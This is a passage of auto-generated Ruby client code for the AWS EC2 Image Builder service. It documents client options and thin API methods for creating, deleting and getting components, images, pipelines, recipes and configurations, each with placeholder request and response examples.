# * `standard` - A standardized set of retry rules across the AWS SDKs.
# This includes support for retry quotas, which limit the number of
# unsuccessful retries a client can make.
#
# * `adaptive` - An experimental retry mode that includes all the
# functionality of `standard` mode along with automatic client side
# throttling. This is a provisional mode that may change behavior
# in the future.
#
#
# @option options [String] :secret_access_key
#
# @option options [String] :session_token
#
# @option options [Boolean] :stub_responses (false)
# Causes the client to return stubbed responses. By default
# fake responses are generated and returned. You can specify
# the response data to return or errors to raise by calling
# {ClientStubs#stub_responses}. See {ClientStubs} for more information.
#
# ** Please note ** When response stubbing is enabled, no HTTP
# requests are made, and retries are disabled.
#
# @option options [Boolean] :validate_params (true)
# When `true`, request parameters are validated before
# sending the request.
#
# @option options [URI::HTTP,String] :http_proxy A proxy to send
# requests through. Formatted like 'http://proxy.com:123'.
#
# @option options [Float] :http_open_timeout (15) The number of
# seconds to wait when opening a HTTP session before raising a
# `Timeout::Error`.
#
# @option options [Integer] :http_read_timeout (60) The default
# number of seconds to wait for response data. This value can
# safely be set per-request on the session.
#
# @option options [Float] :http_idle_timeout (5) The number of
# seconds a connection is allowed to sit idle before it is
# considered stale. Stale connections are closed and removed
# from the pool before making a request.
#
# @option options [Float] :http_continue_timeout (1) The number of
# seconds to wait for a 100-continue response before sending the
# request body. This option has no effect unless the request has
# "Expect" header set to "100-continue". Defaults to `nil` which
# disables this behaviour. This value can safely be set per
# request on the session.
#
# @option options [Boolean] :http_wire_trace (false) When `true`,
# HTTP debug output will be sent to the `:logger`.
#
# @option options [Boolean] :ssl_verify_peer (true) When `true`,
# SSL peer certificates are verified when establishing a
# connection.
#
# @option options [String] :ssl_ca_bundle Full path to the SSL
# certificate authority bundle file that should be used when
# verifying peer certificates. If you do not pass
# `:ssl_ca_bundle` or `:ssl_ca_directory` the the system default
# will be used if available.
#
# @option options [String] :ssl_ca_directory Full path of the
# directory that contains the unbundled SSL certificate
# authority files for verifying peer certificates. If you do
# not pass `:ssl_ca_bundle` or `:ssl_ca_directory` the the
# system default will be used if available.
#
def initialize(*args)
super
end
# @!group API Operations
# CancelImageCreation cancels the creation of Image. This operation can
# only be used on images in a non-terminal state.
#
# @option params [required, String] :image_build_version_arn
# The Amazon Resource Name (ARN) of the image whose creation you want to
# cancel.
#
# @option params [required, String] :client_token
# The idempotency token used to make this request idempotent.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::CancelImageCreationResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CancelImageCreationResponse#request_id #request_id} => String
# * {Types::CancelImageCreationResponse#client_token #client_token} => String
# * {Types::CancelImageCreationResponse#image_build_version_arn #image_build_version_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.cancel_image_creation({
# image_build_version_arn: "ImageBuildVersionArn", # required
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.image_build_version_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/CancelImageCreation AWS API Documentation
#
# @overload cancel_image_creation(params = {})
# @param [Hash] params ({})
def cancel_image_creation(params = {}, options = {})
req = build_request(:cancel_image_creation, params)
req.send_request(options)
end
# Creates a new component that can be used to build, validate, test, and
# assess your image.
#
# @option params [required, String] :name
# The name of the component.
#
# @option params [required, String] :semantic_version
# The semantic version of the component. This version follows the
# semantic version syntax. For example, major.minor.patch. This could be
# versioned like software (2.0.1) or like a date (2019.12.01).
#
# @option params [String] :description
# The description of the component. Describes the contents of the
# component.
#
# @option params [String] :change_description
# The change description of the component. Describes what change has
# been made in this version, or what makes this version different from
# other versions of this component.
#
# @option params [required, String] :platform
# The platform of the component.
#
# @option params [Array<String>] :supported_os_versions
# The operating system (OS) version supported by the component. If the
# OS information is available, a prefix match is performed against the
# parent image OS version during image recipe creation.
#
# @option params [String] :data
# The data of the component. Used to specify the data inline. Either
# `data` or `uri` can be used to specify the data within the component.
#
# @option params [String] :uri
# The uri of the component. Must be an S3 URL and the requester must
# have permission to access the S3 bucket. If you use S3, you can
# specify component content up to your service quota. Either `data` or
# `uri` can be used to specify the data within the component.
#
# @option params [String] :kms_key_id
# The ID of the KMS key that should be used to encrypt this component.
#
# @option params [Hash<String,String>] :tags
# The tags of the component.
#
# @option params [required, String] :client_token
# The idempotency token of the component.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::CreateComponentResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateComponentResponse#request_id #request_id} => String
# * {Types::CreateComponentResponse#client_token #client_token} => String
# * {Types::CreateComponentResponse#component_build_version_arn #component_build_version_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_component({
# name: "ResourceName", # required
# semantic_version: "VersionNumber", # required
# description: "NonEmptyString",
# change_description: "NonEmptyString",
# platform: "Windows", # required, accepts Windows, Linux
# supported_os_versions: ["OsVersion"],
# data: "InlineComponentData",
# uri: "Uri",
# kms_key_id: "NonEmptyString",
# tags: {
# "TagKey" => "TagValue",
# },
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.component_build_version_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/CreateComponent AWS API Documentation
#
# @overload create_component(params = {})
# @param [Hash] params ({})
def create_component(params = {}, options = {})
req = build_request(:create_component, params)
req.send_request(options)
end
# Creates a new distribution configuration. Distribution configurations
# define and configure the outputs of your pipeline.
#
# @option params [required, String] :name
# The name of the distribution configuration.
#
# @option params [String] :description
# The description of the distribution configuration.
#
# @option params [required, Array<Types::Distribution>] :distributions
# The distributions of the distribution configuration.
#
# @option params [Hash<String,String>] :tags
# The tags of the distribution configuration.
#
# @option params [required, String] :client_token
# The idempotency token of the distribution configuration.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::CreateDistributionConfigurationResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateDistributionConfigurationResponse#request_id #request_id} => String
# * {Types::CreateDistributionConfigurationResponse#client_token #client_token} => String
# * {Types::CreateDistributionConfigurationResponse#distribution_configuration_arn #distribution_configuration_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_distribution_configuration({
# name: "ResourceName", # required
# description: "NonEmptyString",
# distributions: [ # required
# {
# region: "NonEmptyString", # required
# ami_distribution_configuration: {
# name: "AmiNameString",
# description: "NonEmptyString",
# target_account_ids: ["AccountId"],
# ami_tags: {
# "TagKey" => "TagValue",
# },
# kms_key_id: "NonEmptyString",
# launch_permission: {
# user_ids: ["AccountId"],
# user_groups: ["NonEmptyString"],
# },
# },
# license_configuration_arns: ["LicenseConfigurationArn"],
# },
# ],
# tags: {
# "TagKey" => "TagValue",
# },
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.distribution_configuration_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/CreateDistributionConfiguration AWS API Documentation
#
# @overload create_distribution_configuration(params = {})
# @param [Hash] params ({})
def create_distribution_configuration(params = {}, options = {})
req = build_request(:create_distribution_configuration, params)
req.send_request(options)
end
# Creates a new image. This request will create a new image along with
# all of the configured output resources defined in the distribution
# configuration.
#
# @option params [required, String] :image_recipe_arn
# The Amazon Resource Name (ARN) of the image recipe that defines how
# images are configured, tested, and assessed.
#
# @option params [String] :distribution_configuration_arn
# The Amazon Resource Name (ARN) of the distribution configuration that
# defines and configures the outputs of your pipeline.
#
# @option params [required, String] :infrastructure_configuration_arn
# The Amazon Resource Name (ARN) of the infrastructure configuration
# that defines the environment in which your image will be built and
# tested.
#
# @option params [Types::ImageTestsConfiguration] :image_tests_configuration
# The image tests configuration of the image.
#
# @option params [Boolean] :enhanced_image_metadata_enabled
# Collects additional information about the image being created,
# including the operating system (OS) version and package list. This
# information is used to enhance the overall experience of using EC2
# Image Builder. Enabled by default.
#
# @option params [Hash<String,String>] :tags
# The tags of the image.
#
# @option params [required, String] :client_token
# The idempotency token used to make this request idempotent.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::CreateImageResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateImageResponse#request_id #request_id} => String
# * {Types::CreateImageResponse#client_token #client_token} => String
# * {Types::CreateImageResponse#image_build_version_arn #image_build_version_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_image({
# image_recipe_arn: "ImageRecipeArn", # required
# distribution_configuration_arn: "DistributionConfigurationArn",
# infrastructure_configuration_arn: "InfrastructureConfigurationArn", # required
# image_tests_configuration: {
# image_tests_enabled: false,
# timeout_minutes: 1,
# },
# enhanced_image_metadata_enabled: false,
# tags: {
# "TagKey" => "TagValue",
# },
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.image_build_version_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/CreateImage AWS API Documentation
#
# @overload create_image(params = {})
# @param [Hash] params ({})
def create_image(params = {}, options = {})
req = build_request(:create_image, params)
req.send_request(options)
end
# Creates a new image pipeline. Image pipelines enable you to automate
# the creation and distribution of images.
#
# @option params [required, String] :name
# The name of the image pipeline.
#
# @option params [String] :description
# The description of the image pipeline.
#
# @option params [required, String] :image_recipe_arn
# The Amazon Resource Name (ARN) of the image recipe that will be used
# to configure images created by this image pipeline.
#
# @option params [required, String] :infrastructure_configuration_arn
# The Amazon Resource Name (ARN) of the infrastructure configuration
# that will be used to build images created by this image pipeline.
#
# @option params [String] :distribution_configuration_arn
# The Amazon Resource Name (ARN) of the distribution configuration that
# will be used to configure and distribute images created by this image
# pipeline.
#
# @option params [Types::ImageTestsConfiguration] :image_tests_configuration
# The image test configuration of the image pipeline.
#
# @option params [Boolean] :enhanced_image_metadata_enabled
# Collects additional information about the image being created,
# including the operating system (OS) version and package list. This
# information is used to enhance the overall experience of using EC2
# Image Builder. Enabled by default.
#
# @option params [Types::Schedule] :schedule
# The schedule of the image pipeline.
#
# @option params [String] :status
# The status of the image pipeline.
#
# @option params [Hash<String,String>] :tags
# The tags of the image pipeline.
#
# @option params [required, String] :client_token
# The idempotency token used to make this request idempotent.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::CreateImagePipelineResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateImagePipelineResponse#request_id #request_id} => String
# * {Types::CreateImagePipelineResponse#client_token #client_token} => String
# * {Types::CreateImagePipelineResponse#image_pipeline_arn #image_pipeline_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_image_pipeline({
# name: "ResourceName", # required
# description: "NonEmptyString",
# image_recipe_arn: "ImageRecipeArn", # required
# infrastructure_configuration_arn: "InfrastructureConfigurationArn", # required
# distribution_configuration_arn: "DistributionConfigurationArn",
# image_tests_configuration: {
# image_tests_enabled: false,
# timeout_minutes: 1,
# },
# enhanced_image_metadata_enabled: false,
# schedule: {
# schedule_expression: "NonEmptyString",
# pipeline_execution_start_condition: "EXPRESSION_MATCH_ONLY", # accepts EXPRESSION_MATCH_ONLY, EXPRESSION_MATCH_AND_DEPENDENCY_UPDATES_AVAILABLE
# },
# status: "DISABLED", # accepts DISABLED, ENABLED
# tags: {
# "TagKey" => "TagValue",
# },
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.image_pipeline_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/CreateImagePipeline AWS API Documentation
#
# @overload create_image_pipeline(params = {})
# @param [Hash] params ({})
def create_image_pipeline(params = {}, options = {})
req = build_request(:create_image_pipeline, params)
req.send_request(options)
end
# Creates a new image recipe. Image recipes define how images are
# configured, tested, and assessed.
#
# @option params [required, String] :name
# The name of the image recipe.
#
# @option params [String] :description
# The description of the image recipe.
#
# @option params [required, String] :semantic_version
# The semantic version of the image recipe.
#
# @option params [required, Array<Types::ComponentConfiguration>] :components
# The components of the image recipe.
#
# @option params [required, String] :parent_image
# The parent image of the image recipe. The value of the string can be
# the ARN of the parent image or an AMI ID. The format for the ARN
# follows this example:
# `arn:aws:imagebuilder:us-west-2:aws:image/windows-server-2016-english-full-base-x86/xxxx.x.x`.
# You can provide the specific version that you want to use, or you can
# use a wildcard in all of the fields. If you enter an AMI ID for the
# string value, you must have access to the AMI, and the AMI must be in
# the same Region in which you are using Image Builder.
#
# @option params [Array<Types::InstanceBlockDeviceMapping>] :block_device_mappings
# The block device mappings of the image recipe.
#
# @option params [Hash<String,String>] :tags
# The tags of the image recipe.
#
# @option params [String] :working_directory
# The working directory to be used during build and test workflows.
#
# @option params [required, String] :client_token
# The idempotency token used to make this request idempotent.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::CreateImageRecipeResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateImageRecipeResponse#request_id #request_id} => String
# * {Types::CreateImageRecipeResponse#client_token #client_token} => String
# * {Types::CreateImageRecipeResponse#image_recipe_arn #image_recipe_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_image_recipe({
# name: "ResourceName", # required
# description: "NonEmptyString",
# semantic_version: "VersionNumber", # required
# components: [ # required
# {
# component_arn: "ComponentVersionArnOrBuildVersionArn", # required
# },
# ],
# parent_image: "NonEmptyString", # required
# block_device_mappings: [
# {
# device_name: "NonEmptyString",
# ebs: {
# encrypted: false,
# delete_on_termination: false,
# iops: 1,
# kms_key_id: "NonEmptyString",
# snapshot_id: "NonEmptyString",
# volume_size: 1,
# volume_type: "standard", # accepts standard, io1, io2, gp2, sc1, st1
# },
# virtual_name: "NonEmptyString",
# no_device: "EmptyString",
# },
# ],
# tags: {
# "TagKey" => "TagValue",
# },
# working_directory: "NonEmptyString",
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.image_recipe_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/CreateImageRecipe AWS API Documentation
#
# @overload create_image_recipe(params = {})
# @param [Hash] params ({})
def create_image_recipe(params = {}, options = {})
req = build_request(:create_image_recipe, params)
req.send_request(options)
end
# Creates a new infrastructure configuration. An infrastructure
# configuration defines the environment in which your image will be
# built and tested.
#
# @option params [required, String] :name
# The name of the infrastructure configuration.
#
# @option params [String] :description
# The description of the infrastructure configuration.
#
# @option params [Array<String>] :instance_types
# The instance types of the infrastructure configuration. You can
# specify one or more instance types to use for this build. The service
# will pick one of these instance types based on availability.
#
# @option params [required, String] :instance_profile_name
# The instance profile to associate with the instance used to customize
# your EC2 AMI.
#
# @option params [Array<String>] :security_group_ids
# The security group IDs to associate with the instance used to
# customize your EC2 AMI.
#
# @option params [String] :subnet_id
# The subnet ID in which to place the instance used to customize your
# EC2 AMI.
#
# @option params [Types::Logging] :logging
# The logging configuration of the infrastructure configuration.
#
# @option params [String] :key_pair
# The key pair of the infrastructure configuration. This can be used to
# log on to and debug the instance used to create your image.
#
# @option params [Boolean] :terminate_instance_on_failure
# The terminate instance on failure setting of the infrastructure
# configuration. Set to false if you want Image Builder to retain the
# instance used to configure your AMI if the build or test phase of your
# workflow fails.
#
# @option params [String] :sns_topic_arn
# The SNS topic on which to send image build events.
#
# @option params [Hash<String,String>] :resource_tags
# The tags attached to the resource created by Image Builder.
#
# @option params [Hash<String,String>] :tags
# The tags of the infrastructure configuration.
#
# @option params [required, String] :client_token
# The idempotency token used to make this request idempotent.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::CreateInfrastructureConfigurationResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateInfrastructureConfigurationResponse#request_id #request_id} => String
# * {Types::CreateInfrastructureConfigurationResponse#client_token #client_token} => String
# * {Types::CreateInfrastructureConfigurationResponse#infrastructure_configuration_arn #infrastructure_configuration_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_infrastructure_configuration({
# name: "ResourceName", # required
# description: "NonEmptyString",
# instance_types: ["InstanceType"],
# instance_profile_name: "NonEmptyString", # required
# security_group_ids: ["NonEmptyString"],
# subnet_id: "NonEmptyString",
# logging: {
# s3_logs: {
# s3_bucket_name: "NonEmptyString",
# s3_key_prefix: "NonEmptyString",
# },
# },
# key_pair: "NonEmptyString",
# terminate_instance_on_failure: false,
# sns_topic_arn: "SnsTopicArn",
# resource_tags: {
# "TagKey" => "TagValue",
# },
# tags: {
# "TagKey" => "TagValue",
# },
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.infrastructure_configuration_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/CreateInfrastructureConfiguration AWS API Documentation
#
# @overload create_infrastructure_configuration(params = {})
# @param [Hash] params ({})
def create_infrastructure_configuration(params = {}, options = {})
req = build_request(:create_infrastructure_configuration, params)
req.send_request(options)
end
# Deletes a component build version.
#
# @option params [required, String] :component_build_version_arn
# The Amazon Resource Name (ARN) of the component build version to
# delete.
#
# @return [Types::DeleteComponentResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DeleteComponentResponse#request_id #request_id} => String
# * {Types::DeleteComponentResponse#component_build_version_arn #component_build_version_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.delete_component({
# component_build_version_arn: "ComponentBuildVersionArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.component_build_version_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/DeleteComponent AWS API Documentation
#
# @overload delete_component(params = {})
# @param [Hash] params ({})
def delete_component(params = {}, options = {})
req = build_request(:delete_component, params)
req.send_request(options)
end
# Deletes a distribution configuration.
#
# @option params [required, String] :distribution_configuration_arn
# The Amazon Resource Name (ARN) of the distribution configuration to
# delete.
#
# @return [Types::DeleteDistributionConfigurationResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DeleteDistributionConfigurationResponse#request_id #request_id} => String
# * {Types::DeleteDistributionConfigurationResponse#distribution_configuration_arn #distribution_configuration_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.delete_distribution_configuration({
# distribution_configuration_arn: "DistributionConfigurationArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.distribution_configuration_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/DeleteDistributionConfiguration AWS API Documentation
#
# @overload delete_distribution_configuration(params = {})
# @param [Hash] params ({})
def delete_distribution_configuration(params = {}, options = {})
req = build_request(:delete_distribution_configuration, params)
req.send_request(options)
end
# Deletes an image.
#
# @option params [required, String] :image_build_version_arn
# The Amazon Resource Name (ARN) of the image to delete.
#
# @return [Types::DeleteImageResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DeleteImageResponse#request_id #request_id} => String
# * {Types::DeleteImageResponse#image_build_version_arn #image_build_version_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.delete_image({
# image_build_version_arn: "ImageBuildVersionArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_build_version_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/DeleteImage AWS API Documentation
#
# @overload delete_image(params = {})
# @param [Hash] params ({})
def delete_image(params = {}, options = {})
req = build_request(:delete_image, params)
req.send_request(options)
end
# Deletes an image pipeline.
#
# @option params [required, String] :image_pipeline_arn
# The Amazon Resource Name (ARN) of the image pipeline to delete.
#
# @return [Types::DeleteImagePipelineResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DeleteImagePipelineResponse#request_id #request_id} => String
# * {Types::DeleteImagePipelineResponse#image_pipeline_arn #image_pipeline_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.delete_image_pipeline({
# image_pipeline_arn: "ImagePipelineArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_pipeline_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/DeleteImagePipeline AWS API Documentation
#
# @overload delete_image_pipeline(params = {})
# @param [Hash] params ({})
def delete_image_pipeline(params = {}, options = {})
req = build_request(:delete_image_pipeline, params)
req.send_request(options)
end
# Deletes an image recipe.
#
# @option params [required, String] :image_recipe_arn
# The Amazon Resource Name (ARN) of the image recipe to delete.
#
# @return [Types::DeleteImageRecipeResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DeleteImageRecipeResponse#request_id #request_id} => String
# * {Types::DeleteImageRecipeResponse#image_recipe_arn #image_recipe_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.delete_image_recipe({
# image_recipe_arn: "ImageRecipeArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_recipe_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/DeleteImageRecipe AWS API Documentation
#
# @overload delete_image_recipe(params = {})
# @param [Hash] params ({})
def delete_image_recipe(params = {}, options = {})
req = build_request(:delete_image_recipe, params)
req.send_request(options)
end
# Deletes an infrastructure configuration.
#
# @option params [required, String] :infrastructure_configuration_arn
# The Amazon Resource Name (ARN) of the infrastructure configuration to
# delete.
#
# @return [Types::DeleteInfrastructureConfigurationResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DeleteInfrastructureConfigurationResponse#request_id #request_id} => String
# * {Types::DeleteInfrastructureConfigurationResponse#infrastructure_configuration_arn #infrastructure_configuration_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.delete_infrastructure_configuration({
# infrastructure_configuration_arn: "InfrastructureConfigurationArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.infrastructure_configuration_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/DeleteInfrastructureConfiguration AWS API Documentation
#
# @overload delete_infrastructure_configuration(params = {})
# @param [Hash] params ({})
def delete_infrastructure_configuration(params = {}, options = {})
req = build_request(:delete_infrastructure_configuration, params)
req.send_request(options)
end
# Gets a component object.
#
# @option params [required, String] :component_build_version_arn
# The Amazon Resource Name (ARN) of the component that you want to
# retrieve. Regex requires "/\\d+$" suffix.
#
# @return [Types::GetComponentResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetComponentResponse#request_id #request_id} => String
# * {Types::GetComponentResponse#component #component} => Types::Component
#
# @example Request syntax with placeholder values
#
# resp = client.get_component({
# component_build_version_arn: "ComponentVersionArnOrBuildVersionArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.component.arn #=> String
# resp.component.name #=> String
# resp.component.version #=> String
# resp.component.description #=> String
# resp.component.change_description #=> String
# resp.component.type #=> String, one of "BUILD", "TEST"
# resp.component.platform #=> String, one of "Windows", "Linux"
# resp.component.supported_os_versions #=> Array
# resp.component.supported_os_versions[0] #=> String
# resp.component.owner #=> String
# resp.component.data #=> String
# resp.component.kms_key_id #=> String
# resp.component.encrypted #=> Boolean
# resp.component.date_created #=> String
# resp.component.tags #=> Hash
# resp.component.tags["TagKey"] #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/GetComponent AWS API Documentation
#
# @overload get_component(params = {})
# @param [Hash] params ({})
def get_component(params = {}, options = {})
req = build_request(:get_component, params)
req.send_request(options)
end
# Gets a component policy.
#
# @option params [required, String] :component_arn
# The Amazon Resource Name (ARN) of the component whose policy you want
# to retrieve.
#
# @return [Types::GetComponentPolicyResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetComponentPolicyResponse#request_id #request_id} => String
# * {Types::GetComponentPolicyResponse#policy #policy} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_component_policy({
# component_arn: "ComponentBuildVersionArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.policy #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/GetComponentPolicy AWS API Documentation
#
# @overload get_component_policy(params = {})
# @param [Hash] params ({})
def get_component_policy(params = {}, options = {})
req = build_request(:get_component_policy, params)
req.send_request(options)
end
# Gets a distribution configuration.
#
# @option params [required, String] :distribution_configuration_arn
# The Amazon Resource Name (ARN) of the distribution configuration that
# you want to retrieve.
#
# @return [Types::GetDistributionConfigurationResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetDistributionConfigurationResponse#request_id #request_id} => String
# * {Types::GetDistributionConfigurationResponse#distribution_configuration #distribution_configuration} => Types::DistributionConfiguration
#
# @example Request syntax with placeholder values
#
# resp = client.get_distribution_configuration({
# distribution_configuration_arn: "DistributionConfigurationArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.distribution_configuration.arn #=> String
# resp.distribution_configuration.name #=> String
# resp.distribution_configuration.description #=> String
# resp.distribution_configuration.distributions #=> Array
# resp.distribution_configuration.distributions[0].region #=> String
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.name #=> String
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.description #=> String
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.target_account_ids #=> Array
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.target_account_ids[0] #=> String
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.ami_tags #=> Hash
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.ami_tags["TagKey"] #=> String
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.kms_key_id #=> String
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.launch_permission.user_ids #=> Array
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.launch_permission.user_ids[0] #=> String
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.launch_permission.user_groups #=> Array
# resp.distribution_configuration.distributions[0].ami_distribution_configuration.launch_permission.user_groups[0] #=> String
# resp.distribution_configuration.distributions[0].license_configuration_arns #=> Array
# resp.distribution_configuration.distributions[0].license_configuration_arns[0] #=> String
# resp.distribution_configuration.timeout_minutes #=> Integer
# resp.distribution_configuration.date_created #=> String
# resp.distribution_configuration.date_updated #=> String
# resp.distribution_configuration.tags #=> Hash
# resp.distribution_configuration.tags["TagKey"] #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/GetDistributionConfiguration AWS API Documentation
#
# @overload get_distribution_configuration(params = {})
# @param [Hash] params ({})
def get_distribution_configuration(params = {}, options = {})
req = build_request(:get_distribution_configuration, params)
req.send_request(options)
end
# Gets an image.
#
# @option params [required, String] :image_build_version_arn
# The Amazon Resource Name (ARN) of the image that you want to retrieve.
#
# @return [Types::GetImageResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetImageResponse#request_id #request_id} => String
# * {Types::GetImageResponse#image #image} => Types::Image
#
# @example Request syntax with placeholder values
#
# resp = client.get_image({
# image_build_version_arn: "ImageVersionArnOrBuildVersionArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image.arn #=> String
# resp.image.name #=> String
# resp.image.version #=> String
# resp.image.platform #=> String, one of "Windows", "Linux"
# resp.image.enhanced_image_metadata_enabled #=> Boolean
# resp.image.os_version #=> String
# resp.image.state.status #=> String, one of "PENDING", "CREATING", "BUILDING", "TESTING", "DISTRIBUTING", "INTEGRATING", "AVAILABLE", "CANCELLED", "FAILED", "DEPRECATED", "DELETED"
# resp.image.state.reason #=> String
# resp.image.image_recipe.arn #=> String
# resp.image.image_recipe.name #=> String
# resp.image.image_recipe.description #=> String
# resp.image.image_recipe.platform #=> String, one of "Windows", "Linux"
# resp.image.image_recipe.owner #=> String
# resp.image.image_recipe.version #=> String
# resp.image.image_recipe.components #=> Array
# resp.image.image_recipe.components[0].component_arn #=> String
# resp.image.image_recipe.parent_image #=> String
# resp.image.image_recipe.block_device_mappings #=> Array
# resp.image.image_recipe.block_device_mappings[0].device_name #=> String
# resp.image.image_recipe.block_device_mappings[0].ebs.encrypted #=> Boolean
# resp.image.image_recipe.block_device_mappings[0].ebs.delete_on_termination #=> Boolean
# resp.image.image_recipe.block_device_mappings[0].ebs.iops #=> Integer
# resp.image.image_recipe.block_device_mappings[0].ebs.kms_key_id #=> String
# resp.image.image_recipe.block_device_mappings[0].ebs.snapshot_id #=> String
# resp.image.image_recipe.block_device_mappings[0].ebs.volume_size #=> Integer
# resp.image.image_recipe.block_device_mappings[0].ebs.volume_type #=> String, one of "standard", "io1", "io2", "gp2", "sc1", "st1"
# resp.image.image_recipe.block_device_mappings[0].virtual_name #=> String
# resp.image.image_recipe.block_device_mappings[0].no_device #=> String
# resp.image.image_recipe.date_created #=> String
# resp.image.image_recipe.tags #=> Hash
# resp.image.image_recipe.tags["TagKey"] #=> String
# resp.image.image_recipe.working_directory #=> String
# resp.image.source_pipeline_name #=> String
# resp.image.source_pipeline_arn #=> String
# resp.image.infrastructure_configuration.arn #=> String
# resp.image.infrastructure_configuration.name #=> String
# resp.image.infrastructure_configuration.description #=> String
# resp.image.infrastructure_configuration.instance_types #=> Array
# resp.image.infrastructure_configuration.instance_types[0] #=> String
# resp.image.infrastructure_configuration.instance_profile_name #=> String
# resp.image.infrastructure_configuration.security_group_ids #=> Array
